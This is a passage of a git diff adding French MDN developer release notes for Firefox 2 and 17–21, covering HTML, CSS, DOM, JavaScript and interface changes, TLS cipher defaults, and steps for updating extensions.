  • Les méthodes de String link et anchor échappent désormais à " (guillemet). ({{bug("352437")}})
    • +
  • Le support expérimental pour l'objet ParallelArray a été implémenté. ({{bug(778559)}})
    • +
  • Support des itérateurs Map/Set. ({{bug(725909)}})
    • +
  • E4X est désactivé par défaut pour le contenu Web. ({{bug(778851)}})
    • +
  • __exposedProps__ doit désormais être défini pour les objets JavaScript Chrome exposés au contenu. Les tentatives d'accès à des objets de contenu sans Chrome __exposedProps__ échoueront ensembles silencieusement. ({{bug(553102)}})
    • +
+ +

MathML

+ +
    +
  • L'analyse de l'attribut align sur les éléments {{MathMLElement("mtable")}} a été mise à jour pour mieux traiter les espaces optionnels.
    • +
+ +

XUL

+ +
    +
  • L'élément XUL key supporte le modificateur "os" qui est la touche Win (Super ou Hyper touche). ({{bug(751749)}})
    • +
+ +

Agent Utilisateur

+ +

La partie de Gecko sur la chaine de l'agent utilisateur a changée. La date de compilation (qui n’avait pas été mise à jour depuis 2010) a été retirée, et c'est le numéro de version de Gecko qui a été mis en place. Donc Gecko/20100101 -> Gecko/17.0. Cela peut vous affecter si vous faites du reniflement.

+ +

Changements pour les développeurs de Mozilla et de modules complémentaires

+ +

Changements dans les interfaces

+ +
+
{{interface("nsIInputStream")}}
+
La méthode available() retourne une longueur de 64-bit au lieu de 32-bit. ({{bug(215450)}})
+
{{interface("nsIDOMWindowUtils")}}
+
La méthode sendMouseScrollEvent() a été remplacée par sendWheelEvent(). ({{bug(719320)}})
+
{{interface("nsIFilePicker")}}
+
La méthode open(), pour ouvrir la boîte de dialogue d'un fichier de façon asynchrone, a été ajoutée et la méthode show() a été dépréciée. ({{bug("731307")}})
+
{{interface("nsIScriptSecurityManager")}}
+
Les méthodes checkLoadURIStr() et checkLoadURI() ont été retirées. ({{bug(327244)}})
+
{{interface("nsIRefreshURI")}}
+
La méthode setupRefreshURIFromHeader() a un paramètre principal en plus.
+
+ +

Voir également

+ +

{{Firefox_for_developers('16')}}

diff --git a/files/fr/mozilla/firefox/releases/17/site_compatibility/index.html b/files/fr/mozilla/firefox/releases/17/site_compatibility/index.html new file mode 100644 index 0000000000..5f4d2359da --- /dev/null +++ b/files/fr/mozilla/firefox/releases/17/site_compatibility/index.html @@ -0,0 +1,12 @@ +--- +title: Compatibilité des sites avec Firefox 17 +slug: Mozilla/Firefox/Versions/17/Site_compatibility +tags: + - Compatibilité + - Développement Web + - Firefox + - Firefox 17 + - FxSiteCompat +translation_of: Mozilla/Firefox/Releases/17/Site_compatibility +--- +
{{FirefoxSidebar}}

Cette page a été déplacée vers FxSiteCompat.com.

diff --git a/files/fr/mozilla/firefox/releases/18/index.html b/files/fr/mozilla/firefox/releases/18/index.html new file mode 100644 index 0000000000..7ed2e61e84 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/18/index.html @@ -0,0 +1,92 @@ +--- +title: Firefox 18 pour les développeurs +slug: Mozilla/Firefox/Versions/18 +tags: + - Firefox + - Firefox 18 +translation_of: Mozilla/Firefox/Releases/18 +--- +
{{FirefoxSidebar}}

Firefox 18, basé sur Gecko 18.0, est sorti le 8 janvier 2013. Cette page résume les principaux changements dans Firefox 18 qui sont utiles aux développeurs.

+ +

Changements pour les développeurs Web

+ +

HTML

+ +
    +
  • L'attribut {{htmlattrxref("reversed","ol")}} de l'élément {{HTMLElement("ol")}} est à présent supporté. ({{bug("601912")}})
    • +
  • L'attribut {{htmlattrxref("crossorigin","link")}} de l'élément {{HTMLElement("link")}} est à présent supporté. ({{bug("786564")}})
    • +
  • L'attribut {{htmlattrxref("allowfullscreen", "iframe")}} de {{HTMLElement("iframe")}} a été implémenté et son prédécesseur préfixé, {{htmlattrxref("mozallowfullscreen", "iframe")}}, est à présent obsolète.
    • +
+ +

CSS

+ +
    +
  • {{cssxref("min-width")}} et {{cssxref("min-height")}} utilisent désormais le mot-clé auto comme valeur initiale (Cela influe uniquement sur les éléments flexibles qui corrigeaient à 0, la précédente valeur initiale, pour les autres éléments). ({{bug("763689")}})
    • +
  • La cascade a été mise à jour : désormais l'auteur des règles !important prend le dessus sur les animations CSS. ({{bug("783714")}})
    • +
  • La propriété raccourcie {{cssxref("background")}} reconnait à présent la propriété CSS3 {{cssxref("background-size")}}. ({{bug("570326")}})
    • +
  • Le support initial du module CSS Flexbox a été lancé. Il est désactivé par défaut mais peut être activé en passant le paramètre layout.css.flexbox.enabled à true. ({{bug('666041')}})
    • +
+ +

DOM

+ +
    +
  • navigator.mozPay a été lancé. ({{bug("767818")}})
    • +
  • window.devicePixelRatio a été lancé. ({{bug("564815")}})
    • +
  • Le backend MacOS X pour window.navigator.battery a été implémenté. ({{bug("696045")}})
    • +
  • {{domxref("BlobBuilder", "MozBlobBuilder")}} a été retiré. Les développeurs doivent utiliser le constructeur {{domxref("Blob")}} pour créer un objet Blob. ({{bug("744907")}})
    • +
  • L'évènement {{event("visibilitychange")}} et l'API Page Visibility ont été dépréfixés. ({{bug("812086")}})
    • +
  • TextDecoder et TextEncoder ont été ajoutés. ({{bug("764234")}})
    • +
  • HTMLMediaElement.src a été séparée en deux propriétés : la propriété src standard, qui traite {{domxref("DOMString")}}, et la propriété préfixée mozSrcObject, qui traite les flux multimédia. ({{bug("792665")}})
    • +
  • Support des objets transférables.
    • +
+ +

JavaScript

+ +
    +
  • Les Direct Proxies d'Harmony (ECMAScript 6) ont été lancés. ({{bug("703537")}})
    • +
+ +

Réseau

+ +
    +
  • Les facteurs de qualité ("q-values") sont désormais fixés à 2 chiffres dans l'en-tête HTTP Accept-Language. ({{bug("672448")}})
    • +
  • La syntaxe ALLOW-FROM de l'en-tête HTTP X-FRAME-OPTIONS Response est à présent supportée. ({{bug("690168")}})
    • +
+ +

Changements pour les développeurs de Mozilla et de modules complémentaires

+ +

Changements dans les interfaces

+ +
+
{{interface("nsIStreamListener")}}
+
Le 4ème paramètre (aOffset) de la méthode onDataAvailable() modifie unsigned long long. ({{bug("784912")}})
+
{{interface("nsIUploadChannel")}}
+
setUploadStream() supporte plus de 2 Go de content-length. ({{bug("790617")}})
+
{{interface("nsIEditor")}}
+
addEditorObserver() a été supprimé, utilisez setEditorObserver() à la place, removeEditorObserver() ne prend plus le paramètre {{interface("nsIEditorObserver")}}. ({{bug("785091")}})
+
{{interface("nsIHttpProtocolHandler")}}
+
Il n'y a plus de garantie que les observateurs http-on-modify-request soit appelés de manière synchrone au cours de nsIChannel.asyncOpen(). Pour les observateurs qui ont besoin d'être appelés pendant asyncOpen(), le nouvel observateur http-on-opening-request a été ajouté. {{bug("800799")}}
+
{{interface("nsIProtocolProxyService")}}
+
La méthode resolve a été retirée. Maintenant, seule la méthode asyncResolve peut être utilisée. Voir ({{bug("769764")}}).
+
+ +

Interfaces supprimées

+ +

Les interfaces suivantes ont été supprimées.

+ +
    +
  • {{interface("nsIEditorObserver")}}
    • +
+ +

Voir également

+ + + +

Anciennes versions

+ +

{{Firefox_for_developers('17')}}

diff --git a/files/fr/mozilla/firefox/releases/18/site_compatibility/index.html b/files/fr/mozilla/firefox/releases/18/site_compatibility/index.html new file mode 100644 index 0000000000..40090de357 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/18/site_compatibility/index.html @@ -0,0 +1,12 @@ +--- +title: Compatibilité des sites avec Firefox 18 +slug: Mozilla/Firefox/Versions/18/Site_compatibility +tags: + - Compatibilité + - Développement Web + - Firefox + - Firefox 18 + - FxSiteCompat +translation_of: Mozilla/Firefox/Releases/18/Site_compatibility +--- +
{{FirefoxSidebar}}

Cette page a été déplacée vers FxSiteCompat.com.

diff --git a/files/fr/mozilla/firefox/releases/19/index.html b/files/fr/mozilla/firefox/releases/19/index.html new file mode 100644 index 0000000000..8ece44bb72 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/19/index.html @@ -0,0 +1,82 @@ +--- +title: Firefox 19 pour les développeurs +slug: Mozilla/Firefox/Versions/19 +tags: + - Firefox + - Firefox 19 +translation_of: Mozilla/Firefox/Releases/19 +--- +
{{FirefoxSidebar}}

{{ draft() }}

+ +

Firefox 19, basé sur Gecko 19.0, est sorti le 19 février 2013. Cette page résume les principaux changements dans Firefox 19 qui sont utiles aux développeurs.

+ +

Vous voulez aider à documenter Firefox 19 ? Regardez la liste des bugs qui ont besoin de rédaction et lancez-vous !

+ +

Changements pour les développeurs web

+ +

JavaScript

+ +
    +
  • La méthode size()des objets Map et Set devient la propriété size ({{bug("807001")}})
    • +
  • Les objets Map et Set ont maintenant une méthode clear(). ({{bug("805003")}})
    • +
+ +

CSS

+ +
    +
  • Support des unités relatives au viewport {{cssxref("<length>")}}, vh, vw, vmin, et vmax. ({{bug("503720")}})
    • +
  • CSS Flexbox est maintenant non-préfixé, mais reste désactivé par défaut ({{bug("801098")}}).
    • +
  • La valeur -moz-initial n'est plus préfixée ({{bug("806068")}}). -moz-initial sera conservée pendant quelques temps en tant qu'alias, cependant les auteurs sont fortement encouragés à utiliser initial.
    • +
  • La propriété CSS {{cssxref("text-transform")}} supporte dorénavant le mot-clé full-width qui permet une intégration plus discrète des caractères latins dans les textes utilisant des caractères idéographiques à largeur fixe tel que le chinois ou le japonais ({{bug("774560")}}).
    • +
  • La propriété CSS {{cssxref("page-break-inside")}} a été implémentée ({{bug("685012")}}).
    • +
  • La fonction CSS {{cssxref("calc", "calc()")}} peut maintenant être utilisée avec <color-stop> (sur {{cssxref("<gradient>")}}).
    • +
  • La règle CSS {{ cssxref("@page") }} est maintenant supportée ({{bug("115199")}}). Notez que les pseudo-classes {{cssxref(":first")}}, {{cssxref(":right")}}, et {{cssxref(":left")}} ne le sont pas encore.
    • +
  • La pseudo-classe {{cssxref(":-moz-placeholder")}} est remplacée par le pseudo-élément {{cssxref("::-moz-placeholder")}} ({{bug("737786")}}).
    • +
+ +

DOM

+ +
    +
  • La méthode {{domxref("element.getElementsByTagName")}} retourne maintenant un HTMLCollection ({{bug("799464")}}).
    • +
  • La propriété mozLastModifiedDate de {{domxref("File")}} a été implémentée. ({{bug("793955")}})
    • +
  • La propriété lastModifiedDate de {{domxref("File")}} renvoie la date actuelle, si la date de la dernière modification est inconnue ({{bug("793459")}}).
    • +
  • La méthode isPointInStroke de {{domxref("CanvasRenderingContext2D")}} a été implémentée ({{bug("803124")}}).
    • +
  • La méthode toBlob de {{domxref("HTMLCanvasElement")}} a été implémentée ({{bug("648610")}}).
    • +
  • Les méthodes {{domxref("Node.isSupported")}} et {{domxref("document.implementation", "document.implementation.hasFeature()")}} ont été modifiées pour qu'elles renvoient toujours true ({{bug("801425")}}).
    • +
  • Lors de l'appel de document.createElement(null), null sera désormais "stringified" et fonctionne comme document.createElement("null").
    • +
+ +

XForms

+ +

Le support des XForms a été retiré dans Firefox 19.

+ +

Changements pour les développeurs d'add-ons et les développeurs Mozilla

+ +
+

Note:  nsresult est maintenant fortement typé, c'est un changement majeur dans Firefox 19. Cela permet de détecter plus facilement les bugs causés par la mauvaise gestion des valeurs retournées mais peut empêcher des codes actuels de fonctionner si nsresult fait de mauvaises suppositions concernant ces valeurs.

+
+ +
    +
  • getBrowserSelection() retourne dorénavant le texte sélectionné dans un input de type text. Ainsi, gContextMenu.isTextSelected vaudra true quand l'utilisateur sélectionne du texte depuis un champ texte qui n'est pas de type password. ({{bug("565717")}})
    • +
  • Dict.jsm: Dict() accepte maintenant les String JSON. Dict.toJSON() a été ajouté et retourne un String JSON. ({{bug("727967")}})
    • +
+ +

Changements dans les intefaces

+ +
+
{{interface("nsIImgLoadingContent")}}
+
Le paramètre (aObserver) de la méthode addObserver() change de {{interface("imgIDecoderObserver")}} pour {{interface("imgINotificationObserver")}}. La méthode notify() de {{interface("imgINotificationObserver")}} n'est pas scriptable, vous devez donc utiliser createScriptedObserver() à partir de {{interface("imgITools")}}.
+
{{interface("nsIChannel")}}
+
La propriété contentLength a changée de long à int64_t
+
+ +

A voir également

+ + + +

Anciennes versions

+ +

{{Firefox_for_developers('18')}}

diff --git a/files/fr/mozilla/firefox/releases/19/site_compatibility/index.html b/files/fr/mozilla/firefox/releases/19/site_compatibility/index.html new file mode 100644 index 0000000000..bf8fd61a81 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/19/site_compatibility/index.html @@ -0,0 +1,12 @@ +--- +title: Compatibilité des sites avec Firefox 19 +slug: Mozilla/Firefox/Versions/19/Site_compatibility +tags: + - Compatibilité + - Développement Web + - Firefox + - Firefox 19 + - FxSiteCompat +translation_of: Mozilla/Firefox/Releases/19/Site_compatibility +--- +
{{FirefoxSidebar}}

Cette page a été déplacée vers FxSiteCompat.com.

diff --git a/files/fr/mozilla/firefox/releases/2/index.html b/files/fr/mozilla/firefox/releases/2/index.html new file mode 100644 index 0000000000..c0027bed2d --- /dev/null +++ b/files/fr/mozilla/firefox/releases/2/index.html @@ -0,0 +1,149 @@ +--- +title: Firefox 2 pour les développeurs +slug: Mozilla/Firefox/Versions/2 +tags: + - Firefox + - Firefox 2 +translation_of: Mozilla/Firefox/Releases/2 +--- +
{{FirefoxSidebar}}

''Une grande partie du contenu de cette page est juste là pour boucher les trous. Voyez la version anglaise de cette page pour savoir comment la compléter.''

+ +

Nouvelles fonctionnalités pour les développeurs dans Firefox 2

+ +

Firefox 2 propose un grand nombre de nouvelles fonctionnalités et de nouvelles possibilités. Cet article fournit des liens vers des articles couvrant les nouvelles fonctionnalités.

+ +

Pour les développeurs Web et les développeurs d'applications

+ +
+
Microrésumés
+
Les microrésumés sont de courtes compilations, régulièrement mises à jour, des plus importantes informations présentes sur des pages Web. Ils peuvent être fournis tant par les sites eux-mêmes que par des développeurs tiers. Lorsque les utilisateurs marquent des pages présentant des microrésumés, ils peuvent choisir d'afficher ceux-ci en lieu et place de titres statiques.
+
+ +
+
Création d'un générateur de microrésumé
+
Un tutoriel sur la création d'un générateur de microrésumés.
+
+ +
+
Référence grammaticale XML d'un microrésumé
+
Un guide de référence sur la grammaire XML utilisée pour la création de générateurs de microrésumés.
+
+ +
+
Création de plugins MozSearch
+
Firefox 2 utilise MozSearch, un format de plugins de recherche basé sur OpenSearch.
+
+ +
+
Création de plugins OpenSearch pour Firefox
+
Firefox 2 support le format de moteur de recherche OpenSearch.
+
+ +
+
Gestion de suggestions dans les plugins de recherche
+
Comment permettre à votre plugin MozSearch de proposer des suggestions, qui apparaîtront dans une liste déroulante au fur et à mesure de la frappe dans la Barre de recherche.
+
+ +
+
Nouveautés dans JavaScript 1.7
+
Firefox 2 fournit JavaScript 1.7, qui comprend de nouvelles fonctionnalités comme let, des assignations déstructurantes, des générateurs et itérateurs, et la définition de tableaux par compréhension.
+
+ +
+
WHATWG Client-side session and persistent storage (ou DOM Storage)
+
Le stockage de session et le stockage persistant côté client permet aux applications Web de conserver des données structurées du côté du client.
+
+ +
+
SVG dans Firefox
+
Firefox 2 améliore le support du SVG (Scalable Vector Graphics) en implémentant l'élément <textPath> et en ajoutant le support de quelques attributs non encore supportés.
+
+ +
+
Contrôle du correcteur d'orthographe dans les formulaires HTML
+
Firefox 2 contient un correcteur d'orthographe des zones de texte et des champs de saisie. Cet article décrit comment écrire votre HTML pour activer et désactiver ce correcteur d'orthographe sur des éléments individuels de formulaires.
+
+ +
+
La sécurité dans Firefox 2
+
Firefox 2 a modifié les protocoles de sécurité activés par défaut.
+
+ +

Pour les développeurs XUL et les développeurs d'extensions

+ +
+
Mise à jour des extensions pour Firefox 2
+
Comment migrer vos extensions existantes pour qu'elles fonctionnent avec Firefox 2.
+
+ +
+
API de restauration de session
+
Ajout d'élément à enregistrer et à restaurer d'une session à l'autre dans Firefox.
+
+ +
+
API d'accès au contenu de flux
+
API permettant aux développeurs d'accéder et de traiter des flux RSS et Atom.
+
+ +
+
Support SAX
+
API de parcours XML basé sur les évènements.
+
+ +
+
Ajout de moteurs de recherche depuis des pages Web
+
Un code JavaScript peut demander à Firefox d'installer un nouveau plugin de moteur de recherche, qui peut être fourni au format OpenSearch ou au format Sherlock.
+
+ +
+
Utilisation du correcteur orthographique dans XUL
+
Explique comment vérifier l'orthographe de certains mots et comment obtenir une liste de suggestions de corrections depuis le code.
+
+ +
+
Ajout de fournisseurs de données de protection anti-phishing
+
Il est possible d'améliorer la protection de Firefox contre le phishing (hameçonnage) en ajoutant des fournisseurs de données pour le système de navigation sécurisée.
+
+ +
+
Storage
+
Firefox 2 propose mozStorage, une architecture de base de données basée sur sqlite.
+
+ +
+
Changements dans les thèmes graphiques pour Firefox 2
+
Discussion autour des changements à apporter au thèmes graphiques existants pour qu'ils fonctionnent avec Firefox 2.
+
+ +
+
Améliorations de Textbox (à partir de Firefox 2.0.0.1 uniquement)
+
L'élément <textbox> dispose à présent d'une méthode reset() pour réinitialiser la valeur de la boîte de texte à sa valeur par défaut. La propriété defaultValue peut être utilisée pour récupérer et modifier cette valeur par défaut ({{ Bug(312867) }}).
+
Support d'une propriété editor permettant d'obtenir l'interface interne nsIEditor pour le champ texte ({{ Bug(312867) }}).
+
+ +

Nouvelles fonctionnalités pour les utilisateurs

+ +

Firefox 2 offre une version améliorée de l'agréable interface utilisateur par rapport à ses versions précédentes, avec un niveau accru de sécurité pour rendre votre expérience de navigation encore plus sûre et plus pratique que jamais.

+ +

Apparence et comportement

+ +
    +
  • La vérification orthographique des zones de texte qui permet de remplir les formulaires Web en confiance.
    • +
  • Les microrésumés qui permettent de créer des marque-pages affichant des informations provenant du site auxquels ils sont liés, mises à jour automatiquement. Très utile pour suivre le cours d'une action, d'un enchère, etc.
    • +
  • L'interface utilisateur du gestionnaire d'extensions a été améliorée.
    • +
  • Les moteurs de recherche peuvent être réarrangés et supprimés dans la barre de recherche.
    • +
  • La navigation par onglets a été améliorée, avec l'ajout de boutons de fermeture pour chaque onglet, un meilleur choix de l'onglet à afficher après la fermeture du précédent et des options simplifiées.
    • +
  • La découverte automatique des moteurs de recherche permet aux moteurs de recherche fournissant des plugins pour la barre de recherche de Firefox de vous proposer l'installation directe de ceux-ci.
    • +
  • Les suggestions de recherche permettent aux moteurs de recherche de vous proposer des termes de recherche suivant ce que vous avez commencé à saisir dans la barre de recherche.
    • +
+ +

Sécurité et vie privée

+ +
    +
  • Fonctionnalité anti-phishing pour vous avertir lorsque vous consultez un site qui semble être une imitation frauduleuse.
    • +
+ +

Voir aussi

+ +

{{Firefox_for_developers('1')}}

diff --git a/files/fr/mozilla/firefox/releases/2/security_changes/index.html b/files/fr/mozilla/firefox/releases/2/security_changes/index.html new file mode 100644 index 0000000000..02a1c4e215 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/2/security_changes/index.html @@ -0,0 +1,32 @@ +--- +title: La sécurité dans Firefox 2 +slug: La_sécurité_dans_Firefox_2 +tags: + - Sécurité +translation_of: Mozilla/Firefox/Releases/2/Security_changes +--- +
{{FirefoxSidebar}}

Cet article aborde les changements concernant la sécurité dans Firefox 2.

+ +

Chiffrements faibles désactivés par défaut

+ +

Firefox 2 désactive par défaut le support de SSLv2 et les suites de chiffrement faible (celles ayant des longueurs de clefs inférieures à 64 bits) en faveur de SSLv3. Ce choix améliore la sécurité.

+ +

Les méthodes privilégiées de chiffrage sont TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA et TLS_RSA_WITH_3DES_EDE_CBC_SHA. Certains serveurs y font référence en tant que SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA et SSL_RSA_WITH_3DES_EDE_CBC_SHA.

+ +

Si le support de SSLv2 doit être activé, vous devrez définir avec la valeur true la préférence utilisateur security.ssl2.* dans about:config.

+ +

Nouvelles fonctionnalités

+ +
    +
  • Firefox 2 supporte la cryptographie sur courbes elliptiques (ECC) dans TLS. Le support est pour l'instant limité aux courbes de 256, 384 et 521 (oui, 521 !) bits.
    • +
  • Firefox 2 supporte l'extension d'identification de nom de serveur TLS pour faciliter les connexions sécurisées sur des serveurs hébergeant plusieurs serveurs virtuels sous la même adresse réseau, suivant la RFC 3546.
    • +
  • Lorsque Firefox 2 effectue une requête OSCP pour valider un certificat d'un serveur Web, il utilise désormais le proxy configuré pour le trafic HTTP normal.
    • +
+ +

Détermination du chiffrement disponible

+ +

Comme toujours, vous pouvez vérifier le chiffrement supporté — celui qui a été activé ou désactivé — en cherchant « ssl » ou « tls » dans about:config.

+ +
 
+ +

{{ languages( { "en": "en/Security_in_Firefox_2", "pl": "pl/Bezpiecze\u0144stwo_w_Firefoksie_2", "zh-tw": "zh_tw/Firefox_2_\u7684\u5b89\u5168\u529f\u80fd" } ) }}

diff --git a/files/fr/mozilla/firefox/releases/2/updating_extensions/index.html b/files/fr/mozilla/firefox/releases/2/updating_extensions/index.html new file mode 100644 index 0000000000..2835b6b46a --- /dev/null +++ b/files/fr/mozilla/firefox/releases/2/updating_extensions/index.html @@ -0,0 +1,47 @@ +--- +title: Mise à jour des extensions pour Firefox 2 +slug: Mise_à_jour_des_extensions_pour_Firefox_2 +translation_of: Mozilla/Firefox/Releases/2/Updating_extensions +--- +
{{FirefoxSidebar}}

 

+ +

Cet article s'adresse aux développeurs qui souhaitent mettre à jour leur extension pour qu'elle fonctionne correctement avec Firefox 2.

+ +

Étape 1 : Mise à jour du manifeste d'installation

+ +

La première étape - pour de nombreuses extensions, la seule nécessaire - est de mettre à jour le fichier du manifeste d'installation, install.rdf, pour annoncer la compatibilité avec Firefox 2.

+ +

Trouvez la ligne indiquant la plus récente version de Firefox compatible. Pour Firefox 1.5, elle serait :

+ +
 <em:maxVersion>1.5.0.*</em:maxVersion>
+
+ +

Et remplacez-la par celle-ci :

+ +
 <em:maxVersion>2.0.0.*</em:maxVersion>
+
+ +

Réinstallez ensuite votre extension.

+ +

Étape 2 : Mise à jour des calques XUL

+ +

Firefox 2 apporte des changements au thème par défaut, et certains éléments de l'interface utilisateur ont été modifiés ou déplacés. Cela peut affecter votre extension, selon les actions de vos calques XUL.

+ +

Référez-vous à l'article Changements dans les thèmes graphiques pour Firefox 2 pour déterminer les modifications qui pourraient avoir un effet sur votre extension.

+ +

Étape 3 : Test

+ +

Assurez-vous de tester en profondeur votre extension sous Firefox 2 avant de la publier. Vous ne désirez sûrement pas que votre extension soit la cause d'un déferlement de rapports de bogues avec la toute dernière version de Firefox...

+ +

Étape 4 : Publication

+ +

Mettez à jour la description de votre extension sur http://addons.mozilla.org, pour vous assurez que les utilisateurs la retrouveront.

+ +

De plus, si le manifeste d'installation contient une URL de mise à jour, vérifiez qu'elle est valide pour que Firefox puisse automatiquement trouver les nouvelles versions de votre extension. De cette manière, Firefox proposera de l'installer automatiquement au premier lancement de l'extension après le passage à Firefox 2.

+ +


+ Lien Interwiki

+ +
 
+ +

{{ languages( { "en": "en/Updating_extensions_for_Firefox_2", "ja": "ja/Updating_extensions_for_Firefox_2", "ko": "ko/Updating_extensions_for_Firefox_2", "pl": "pl/Aktualizacja_rozszerze\u0144_do_Firefoksa_2" } ) }}

diff --git a/files/fr/mozilla/firefox/releases/20/index.html b/files/fr/mozilla/firefox/releases/20/index.html new file mode 100644 index 0000000000..d9bf6ebdd7 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/20/index.html @@ -0,0 +1,75 @@ +--- +title: Firefox 20 pour les développeurs +slug: Mozilla/Firefox/Versions/20 +tags: + - Firefox + - Firefox 20 +translation_of: Mozilla/Firefox/Releases/20 +--- +
{{FirefoxSidebar}}

Firefox 20 est sorti le 2 avril 2013. Cette page résume les principaux changements dans Firefox 20 qui sont utiles aux développeurs.

+ +

Changements pour les développeurs Web

+ +

HTML

+ +
    +
  • Le support de l'attribut {{htmlattrxref("download", "a")}} sur les éléments {{HTMLElement("a")}} et {{HTMLElement("area")}} a été ajouté ({{bug(676619)}}).
    • +
  • La valeur auto pour l'attribut global dir a été implémenté ({{bug("548206")}}).
    • +
+ +

JavaScript

+ +
    +
  • Le support de la méthode Weakmap.prototype.clear(), récemment ajoutée au brouillon d'Harmony (EcmaScript 6), a été ajouté ({{bug(814562)}}).
    • +
  • Le support de la méthode Math.imul(), une fonction de multiplication 32 bits de type C. Bien qu'elle soit proposée pour Harmony (EcmaScript 6), elle n'a pas encore été acceptée et reste non-standard ({{bug(808148)}}).
    • +
  • Les applications Web utilisant le déplacement de texte grâce à Kinetic 3.x fonctionnent, même en utilisant le backend Cairo Canvas. ({{bug("835064")}})
    • +
  • L'instruction for each...in a été dépréciée et ne doit plus être utilisée. Pensez à utiliser la nouvelle instruction for...of ({{bug("804834")}}).
    • +
+ +

CSS

+ +
    +
  • CSS Flexbox est désormais disponible par défaut, uniquement dans les versions préliminaires (hors Bêta). Elle peut être activée dans la version finale en modifiant une préférence dans about:config.
    • +
  • La propriété mask-type de la spécification CSS Masking a été ajoutée ({{bug(793617)}}).
    • +
+ +

DOM

+ +
    +
  • {{domxref("HTMLMediaElement")}} supporte désormais playbackRate (en lecture et écriture), avec correction de hauteur. La correction de hauteur peut être contrôlé à l'aide de la propriété mozPreservesPitch ({{bug(495040)}}).
    • +
  • CSSOM : Le support des nouvelles interfaces {{domxref("CSSGroupingRule")}} et {{domxref("CSSConditionRule")}} a été ajouté ({{bug(814907)}}).
    • +
  • CSSOM : Sur la constante {{domxref("CSSRule")}}, CSSRule.MOZ_KEYFRAME_RULE et CSSRule.MOZ_KEYFRAMES_RULE ont été dé-préfixés pour CSSRule.KEYFRAME_RULE et CSSRule.KEYFRAMES_RULE. La version préfixée est temporairement maintenue, pour aider les auteurs Web à la transition de leur code ({{bug(816431)}}).
    • +
  • CSSOM : Il est désormais possible de définir la valeur de conditionText pour {{domxref("CSSMediaRule")}} ({{bug(815021)}}).
    • +
  • Les méthodes parseFromStream et parseFromBuffer de {{domxref("DOMParser")}} ne sont plus disponibles à partir de contenu web ({{bug(816410)}}).
    • +
  • La méthode serializeToStream de XMLSerializer n'est plus disponible à partir de contenu web ({{bug(816410)}}).
    • +
  • Les interfaces TextDecoder et TextEncoder sont désormais disponibles dans Workers ({{bug(795542)}}).
    • +
  • Le support de la méthode CSS.supports()a été ajouté ({{bug(779917)}}).
    • +
  • Le support pour UndoManager a été ajouté ({{bug(617532)}}).
    • +
  • L'interface {{domxref("CaretPosition")}} a été implémentée dans la méthode CSSOM {{domxref("document.caretPositionFromPoint")}}.
    • +
+ +

MathML

+ +
    +
  • Pour aider les auteurs MathML dans le débogage des erreurs "invalid-markup" dans leurs documents, les erreurs d'analyse MathML (comme avoir trop / pas assez d'éléments enfants) et les avertissements au sujet des attributs obsolètes ou fausses valeurs d'attributs sont maintenant signalées à la console d'erreur
    • +
  • L'attribut scriptminsize accepte désormais des valeurs sans unité et les valeurs en pourcent. Elles sont interprétées comme des multiples de la valeur par défaut ("8pt").
    • +
  • Des valeurs sans unité sont désormais permis pour les attributs mathsize et fontsize, ils multiplient la valeur par défaut.
    • +
+ +

Changements pour les add-ons et les développeurs Mozilla

+ +
    +
  • L'interface nsIDOMParserJS n'existe plus ({{bug(816410)}}). Voir nsIDOMParser pour des alternatives.
    • +
  • Préférences de contenu : L'interface {{interface("nsIContentPrefService")}} est désormais obsolète et l'API asynchrone de stockage {{interface("nsIContentPrefService2")}} a été implémentée.
    • +
+ +

Voir également

+ + + +

Anciennes versions

+ +

{{Firefox_for_developers('19')}}

diff --git a/files/fr/mozilla/firefox/releases/20/site_compatibility/index.html b/files/fr/mozilla/firefox/releases/20/site_compatibility/index.html new file mode 100644 index 0000000000..b126ee10ba --- /dev/null +++ b/files/fr/mozilla/firefox/releases/20/site_compatibility/index.html @@ -0,0 +1,12 @@ +--- +title: Compatibilité des sites avec Firefox 20 +slug: Mozilla/Firefox/Versions/20/Site_compatibility +tags: + - Compatibilité + - Développement Web + - Firefox + - Firefox 20 + - FxSiteCompat +translation_of: Mozilla/Firefox/Releases/20/Site_compatibility +--- +
{{FirefoxSidebar}}

Cette page a été déplacée vers FxSiteCompat.com.

diff --git a/files/fr/mozilla/firefox/releases/21/index.html b/files/fr/mozilla/firefox/releases/21/index.html new file mode 100644 index 0000000000..5b31107b63 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/21/index.html @@ -0,0 +1,141 @@ +--- +title: Firefox 21 pour les développeurs +slug: Mozilla/Firefox/Versions/21 +tags: + - Firefox + - Firefox 21 +translation_of: Mozilla/Firefox/Releases/21 +--- +
{{FirefoxSidebar}}
+ +

Firefox 21 est sorti le 14 mai 2013. Cette page résume les principaux changements dans Firefox 21 qui sont utiles aux développeurs, que vous soyez développeur web, développeur Firefox et Gecko, ou développeur d'add-ons.

+ +

Changement pour les développeurs Web

+ +

HTML

+ +
    +
  • L'attribut {{htmlattrxref("scoped", "style")}} a été ajouté à l'élément {{HTMLElement("style")}}. Il permet d'inclure des styles qui sont isolés du reste du document. Ces styles peuvent être sélectionnés par le pseudo élément CSS {{cssxref(":scope")}} ajouté dans Firefox 20. ({{bug("508725")}}).
    • +
  • Le nouvel élément HTML {{HTMLElement("main")}} a été implémenté ({{bug("820508")}}).
    • +
+ +

JavaScript

+ +
    +
  • E4X, une ancienne extension JavaScript, a été retirée. Implementée seulement par Gecko, elle n'a jamais reçu suffisament de soutien ({{bug("788293")}}).
    • +
  • parseInt ne traite plus les chaînes de caractères commençant par "0" comme un octal ({{bug("786135")}}).
    • +
+ +

CSS

+ +
    +
  • La valeur none pour {{cssxref("user-select", "-moz-user-select")}} a maintenant le même comportement que la valeur -moz-none, alignant  Gecko sur WebKit (Chrome, Safari), Presto (Opera) et Trident (Internet Explorer) ({{bug("816298")}}).
    • +
  • Dans des contenus XHTML, la valeur auto de {{cssxref("hyphens", "-moz-hyphens")}} appliquait incorrectement des règles de césure quand le langage n'était pas explicitement défini. Cela a été corrigé par ({{bug("702121")}}).
    • +
  • Une valeur auto a été ajoutée pour la propriété CSS {{cssxref("-moz-orient")}}. La valeur auto est équivalente à horizontal quand appliquée à {{HTMLElement("meter")}} et {{HTMLElement("progress")}} ({{bug("835883")}}).
    • +
